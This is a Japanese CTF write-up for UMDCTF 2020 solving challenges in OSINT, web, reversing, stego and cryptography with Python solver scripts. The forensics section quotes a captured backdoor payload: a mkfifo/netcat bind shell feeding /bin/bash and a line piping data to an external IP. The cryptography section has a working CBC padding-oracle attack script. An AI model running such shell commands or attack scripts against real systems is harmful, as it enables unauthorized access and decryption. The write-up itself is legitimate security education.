UMDCTF 2020 Writeup

この大会は2020/4/18 23:00(JST)~2020/4/19 23:00(JST)に開催されました。
今回もチームで参戦。結果は6265点で321チーム中18位でした。
自分で解けた問題をWriteupとして書いておきます。

This Chord (Misc 5)

Discordに入り、#generalチャネルのトピックを見ると、フラグが書いてあった。

UMDCTF-{Y0u_H4v3_J01n3D_D1sc0rD}

Resume (Misc 10)

履歴書として適当に入力した情報を送信すると、フラグが表示された。

UMDCTF-{R35um3}

Oh hi nyan (Misc 50)

matt2r2で検索すると、以下のページが見つかり、フラグが書いてあった。

https://www.reddit.com/user/matt2r2/comments/g23kk6/colors/
UMDCTF-{तुमने मुझे ढूंढ़ लिया}

MemeCTF (Misc 200)

OSINTらしいので、問題の "9012389aad4eb9be53d225c4bbe72098ebdb37b97a52893171ff1bce0d40f383" で検索する。
https://github.com/UMD-CSEC/hmmが見つかるが、何も書いていないので、commitの履歴を見る。
「Added flag file」のcommitから追加ファイルのlol.jpgをダウンロードする。このダウンロードした画像にフラグが書いてある。
f:id:satou-y:20200420215020j:plain

UMDCTF-{meme_ch4llenges_ftw}

CSEC Invasion (Web 100)

UMD CSEC's websiteにフラグが隠されているような問題文。https://csec.umd.edu/でHTMLソースを見ると、フラグが含まれていた。

UMDCTF-{@l13ns_@r3_b3tt3r_th@n_hum@ns}

CSEC Invasion - 2 (Web 100)

UMD CSEC's websiteにフラグが隠されているような問題文で、robotsというキーワードが含まれている。https://csec.umd.edu/robots.txtにアクセスしてみると、フラグが書いてあった。

# https://www.robotstxt.org/robotstxt.html
# UMDCTF-{d0m0_@r1g@t0_mr_r0b0t0}
User-agent: *
Disallow:
UMDCTF-{d0m0_@r1g@t0_mr_r0b0t0}

CSEC Invasion - 3 (Web 200)

UMD CSEC's websiteにフラグが隠されているような問題文だが、それ以上わからない。手あたり次第リンクをたどる。https://csec.umd.edu/manifest.jsonにアクセスしたときにフラグが見つかった。

{
  "short_name": "UMD CSEC",
  "name": "University of Maryland Cybersecurity Club",
  "icons": [
    {
      "src": "images/favicon.ico",
      "sizes": "64x64 32x32 24x24 16x16",
      "type": "image/x-icon"
    }, {
      "src": "images/logo-128x192.png",
      "type": "image/png",
      "sizes": "128x192"
    }, {
      "src": "images/logo-450x675.png",
      "type": "image/png",
      "sizes": "450x675"
    }
  ],
  "start_url": ".",
  "display": "standalone",
  "theme_color": "#000000",
  "background_color": "#ffffff",
  "calc": "UMDCTF-{w3_d1d_th3_m@th}"
}
UMDCTF-{w3_d1d_th3_m@th}

Easy Money (Reverse Engineering 50)

$ ./money
Hello friend
What is your name?
a
Hello a

特にパスワードらしきものを比較するわけではない。
バイナリエディタで見てみると、このメッセージ近くにbase64文字列がある。
f:id:satou-y:20200421202104p:plain

$ echo VU1EQ1RGLXtlNHN5X3cxbnNfZTRzeV9tMG4zeX0= | base64 -d
UMDCTF-{e4sy_w1ns_e4sy_m0n3y}
UMDCTF-{e4sy_w1ns_e4sy_m0n3y}

Santa Mysterious Box (Reverse Engineering 100)

$ ltrace ./SantaBox 
puts("--------------------------------"...-----------------------------------------
)      = 42
puts("|                               "...|                                       |
)      = 42
puts("|                               "...|                                       |
)      = 42
puts("|                               "...|                                       |
)      = 42
puts("|           Santa's Mysterious  "...|           Santa's Mysterious          |
)      = 42
puts("|             Box of Treats     "...|             Box of Treats             |
)      = 42
puts("|                               "...|                                       |
)      = 42
puts("|                               "...|                                       |
)      = 42
puts("|                               "...|                                       |
)      = 42
puts("|                               "...|                                       |
)      = 42
puts("|                               "...|                                       |
)      = 42
puts("--------------------------------"...-----------------------------------------
)      = 42
__printf_chk(1, 0x55e66f5b5c68, 0x7f8e98f44780, 0x7f8e98c752c0) = 17
__isoc99_scanf(0x55e66f5b5c7a, 0x7ffd55b3ff70, 0x7f8e98f44780, 17Enter code here: 123
) = 1
strcmp(",-.", "PH?>OA(vN/io/Zb<q.Zt+pZKm.io0x")  = -36
puts("You received coal!"You received coal!
)                       = 19
+++ exited (status 0) +++

比較する際には文字が変換されている。"123"が",-."になっているので、プラスする方向に5シフトすればフラグになりそう。"PH?>OA(vN/io/Zb

enc = 'PH?>OA(vN/io/Zb<q.Zt+pZKm.io0x'

flag = ''
for c in enc:
    code = ord(c) + 5
    flag += chr(code)
print flag
UMDCTF-{S4nt4_gAv3_y0u_Pr3nt5}

Twilight Zone (Reverse Engineering 300)

$ file TwilightZone.exe 
TwilightZone.exe: PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows

dnSpyで開き、デコンパイルする。

private void Button1_Click(object sender, EventArgs e)
{
	string text = this.TextBox1.Text;
	string text2 = "mLxCKPYXjSMUcEKu";
	string wJgEefC1c0B0A6mx = "UxLYNz3PClbqZ1U6l18XlW7lhUB0HaZYt6gBp3hR6+xRNJsvlPA20lS6OeCaFCqN";
	DateTime t = new DateTime(621355968000000000L);
	DateTime t2 = new DateTime(637228512000000000L);
	DateTime now = DateTime.Now;
	if (DateTime.Compare(now, t) > 0 || DateTime.Compare(now, t2) < 0)
	{
		MessageBox.Show("Not happening!");
		base.Close();
		return;
	}
	string text3 = this.Mystery(wJgEefC1c0B0A6mx, text2);
	if (text.Equals(text2))
	{
		MessageBox.Show(text3);
		base.Close();
		return;
	}
	MessageBox.Show("Not happening!");
	base.Close();
}

public string Mystery(string wJgEefC1c0B0A6mx, string yfysbQ4Kv4MKky1a)
{
	RijndaelManaged rijndaelManaged = new RijndaelManaged();
	HashAlgorithm hashAlgorithm = new MD5CryptoServiceProvider();
	byte[] array = new byte[32];
	byte[] sourceArray = hashAlgorithm.ComputeHash(Encoding.ASCII.GetBytes(yfysbQ4Kv4MKky1a));
	Array.Copy(sourceArray, 0, array, 0, 16);
	Array.Copy(sourceArray, 0, array, 15, 16);
	rijndaelManaged.Key = array;
	rijndaelManaged.Mode = CipherMode.ECB;
	ICryptoTransform cryptoTransform = rijndaelManaged.CreateDecryptor();
	byte[] array2 = Convert.FromBase64String(wJgEefC1c0B0A6mx);
	return Encoding.ASCII.GetString(cryptoTransform.TransformFinalBlock(array2, 0, array2.Length));
}

以下を算出すれば、フラグになるはず。

string text2 = "mLxCKPYXjSMUcEKu";
string wJgEefC1c0B0A6mx = "UxLYNz3PClbqZ1U6l18XlW7lhUB0HaZYt6gBp3hR6+xRNJsvlPA20lS6OeCaFCqN";
text3 = this.Mystery(wJgEefC1c0B0A6mx, text2);

Mysteryの処理は以下のようになっている。

・sourceArray: text2 の MD5ダイジェスト
・arrayのインデックス0以降にtext2 の MD5ダイジェストをコピーする。
・arrayのインデックス15以降にtext2 の MD5ダイジェストをコピーする。
・arrayをAES-ECBの鍵にする
・wJgEefC1c0B0A6mxを復号する。
from Crypto.Cipher import AES
from hashlib import md5
from base64 import b64decode

def unpad(s):
    return s[:-ord(s[-1])]

text2 = 'mLxCKPYXjSMUcEKu'
wJgEefC1c0B0A6mx = 'UxLYNz3PClbqZ1U6l18XlW7lhUB0HaZYt6gBp3hR6+xRNJsvlPA20lS6OeCaFCqN'

h = md5(text2).digest()
key = h[:15] + h + '\x00'

cipher = AES.new(key, AES.MODE_ECB)
flag = unpad(cipher.decrypt(b64decode(wJgEefC1c0B0A6mx)))
print flag
UMDCTF-{w3lcome_t0_the_tw1light_z0ne}

Sensitive (Forensics 150)

バイナリエディタで見ると、1バイトごとにスペースが入っているPDFであることがわかる。PDFを開くと、うっすらQRコードが見える。
https://pdfcandy.com/jp/extract-images.html で画像抽出し、QRコードを整形した後、コードリーダで読み込む。
f:id:satou-y:20200421202910p:plain

UMDCTF-{l0v3-me_s0me_h3x}

A Nation State Musical (Forensics 300)

77.123.100.186からの通信パケットのみ。IPアドレスから国を調べる。

国コード	UA
国名(日本語)	ウクライナ
国名(英語)	Ukraine

UMDCTF-{Ukraine}はフラグとして通らない。もう少しパケットを見てみる。No.384のパケットがサイズが大きい。データをエクスポートする。内容は以下の通り。

';
rm -f backd00r
mkfifo backd00r
nc -lk 1337 0<backd00r | /bin/bash 1>backd00
echo 'мен к?рем?н' | nc 37.46.96.0 1337

37.46.96.0の国を調べる。

国コード	KZ
国名(日本語)	カザフスタン
国名(英語)	Kazakhstan
UMDCTF-{Kazakhstan}

Zero Cool (Steganography 150)

添付ファイルはアニメーションGIFになっている。24フレーム中16フレーム目にQRコードがある。
f:id:satou-y:20200421203232g:plain
横長なので、縦に引き伸ばして、コードリーダで読み取る。

UMDCTF-{tr4sh1ng_th3_fl0w}

Crash Confusion (Steganography 200)

Stegsolveで開き、Random colour mapを見る。
f:id:satou-y:20200421203423p:plain
base64らしき文字列が現れる。

VU1EQ1RGLXt0aHIzc2gwbGRfZXJyMHJ6fQ

base64だとしたら、2文字足りないので、=でパディングしてデコードする。

$ echo VU1EQ1RGLXt0aHIzc2gwbGRfZXJyMHJ6fQ== | base64 -d
UMDCTF-{thr3sh0ld_err0rz}
UMDCTF-{thr3sh0ld_err0rz}

Baby's First Crypto (Cryptography 200)

シフトすると、フラグになりそう。

with open('ciphertext', 'rb') as f:
    enc = f.read()

key = ord(enc[0]) - ord('U')

flag = ''
for c in enc:
    code = (ord(c) - key) % 128
    flag += chr(code)
print flag
UMDCTF-{1_1uv_crypt0}

Low Effort Required (Cryptography 300)

nが非常に大きく、eが小さいため、Low Public Exponent Attackで復号する。

import gmpy
from Crypto.Util.number import *

e = 5
c = 40030182544273856015788999062464973403472186630147528555052489762516210821795493031619376345647069575950526306492922573846162431037037824967074058132327917359025595463728944947118480605422897682821384491771926743103021286982319660969379132360886299787840185308892024028684314873509707776

m = gmpy.root(c, e)[0]
assert pow(m, e) == c
flag = long_to_bytes(m).rstrip('\x00')
print flag
UMDCTF-{f1x_y0ur_3xp0s}

Padme Twice (Cryptography 300)

RGBそれぞれをXORしたものを画像にする。

from PIL import Image

img1 = Image.open('crypt1.png').convert('RGB')
img2 = Image.open('crypt2.png').convert('RGB')
w, h = img1.size

output_img = Image.new('RGB', (w, h), (255, 255, 255))

flag = ''
for y in range(0, h):
    for x in range(0, w):
        r1, g1, b1 = img1.getpixel((x, y))
        r2, g2, b2 = img2.getpixel((x, y))
        r = r1 ^ r2
        g = g1 ^ g2
        b = b1 ^ b2
        output_img.putpixel((x, y), (r, g, b))

output_img.save('flag.png')

f:id:satou-y:20200421203858p:plain

UMDCTF-{tw0_t1me_p4dme}

Fragile Foundations (Cryptography 300)

何重もbase64エンコードされているので、繰り返しデコードする。

with open('ciphertext', 'r') as f:
    data = f.read()

while True:
    try:
        data = data.decode('base64')
    except:
        break

print data
UMDCTF-{b@se64_15_my_f@v0r1t3_b@s3}

Relatively Rough RSA (Cryptography 600)

pとqは近い値なので、Fermat法で素因数分解する。eは2*素数なので、平文の2乗しかRSA暗号の復号はできない。ただpもqも4で割って余りが3のため、Rabin暗号の復号方法で復号できる。

from Crypto.Util.number import *

def isqrt(n):
    x = n
    y = (x + n // x) // 2
    while y < x:
        x = y
        y = (x + n // x) // 2
    return x

def fermat(n):
    x = isqrt(n) + 1
    y = isqrt(x * x - n)
    while True:
        w = x * x - n - y * y
        if w == 0:
            break
        elif w > 0:
            y += 1
        else:
            x += 1
    return x - y, x + y

def egcd(a, b):
    if a == 0:
        return b, 0, 1
    else:
        gcd, y, x = egcd(b % a, a)
        return gcd, x - (b // a) * y, y

with open('public_key', 'r') as f:
    pub_key = f.read()

with open('ciphertext', 'r') as f:
    c = int(f.read())

n = int(pub_key.split(':')[0])
e = int(pub_key.split(':')[1])

p, q = fermat(n)

phi = (p - 1) * (q - 1)
d = inverse(e / 2, phi)
m_2 = pow(c, d, n)

r = pow(m_2, long((p+1)/4), long(p))
s = pow(m_2, long((q+1)/4), long(q))

gcd, c, d = egcd(p, q)
x = (r * d * q + s * c * p) % n
y = (r * d * q - s * c * p) % n
plains = [x, n - x, y, n - y]

for plain in plains:
    flag = long_to_bytes(plain)
    if flag.startswith('UMDCTF'):
        index = flag.index('}')
        flag = flag[:index+1]
        print flag
        break
UMDCTF-{r@bin_crypt0_0v3r_rs@}

Sideways Ciphering (Cryptography 650)

AES-CBC暗号の暗号データを渡すとpaddingチェックの結果がわかる。CBC Padding Oracle Attackで復号する。

import socket
import base64

def recvuntil(s, tail):
    data = ''
    while True:
        if tail in data:
            return data
        data += s.recv(1)

def str_xor(s1, s2):
    return ''.join(chr(ord(a) ^ ord(b)) for a, b in zip(s1, s2))

def unpad(s):
    return s[:-ord(s[-1])]

def is_valid(enc):
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect(('192.241.138.174', 1337))

    data = recvuntil(s, '\n').rstrip()
    print data
    print enc
    s.sendall(enc + '\n')

    data = recvuntil(s, '\n').rstrip()
    print data
    if data == 'You are not allowed to decrypt!':
        return True
    else:
        return False

with open('ciphertext', 'r') as f:
    enc = base64.b64decode(f.read())

enc_blocks = []
for i in range(0, len(enc), 16):
    enc_blocks.append(enc[i:i+16])

xor_blocks = []
for i in range(len(enc_blocks)-1, 0, -1):
    xor_block = ''
    for j in range(16):
        for code in range(256):
            print '%d - %d - %d: %s' % (i, j, code, xor_block.encode('hex'))
            print '****', str_xor(xor_block, enc_blocks[i-1][-j:]), '****'
            try_pre_block = '\x00' * (16 - j - 1) + chr(code) + str_xor(xor_block, chr(j+1)*j)
            try_cipher = base64.b64encode(try_pre_block + enc_blocks[i])
            if is_valid(try_cipher):
                xor_code = (j+1) ^ code
                xor_block = chr(xor_code) + xor_block
                break

    xor_blocks.append(xor_block)

xor_blocks.reverse()

flag = ''
for i in range(len(xor_blocks)):
    flag += str_xor(enc_blocks[i], xor_blocks[i])

flag = unpad(flag)
print flag
UMDCTF-{s1d3_ch@nn3l_0p3n}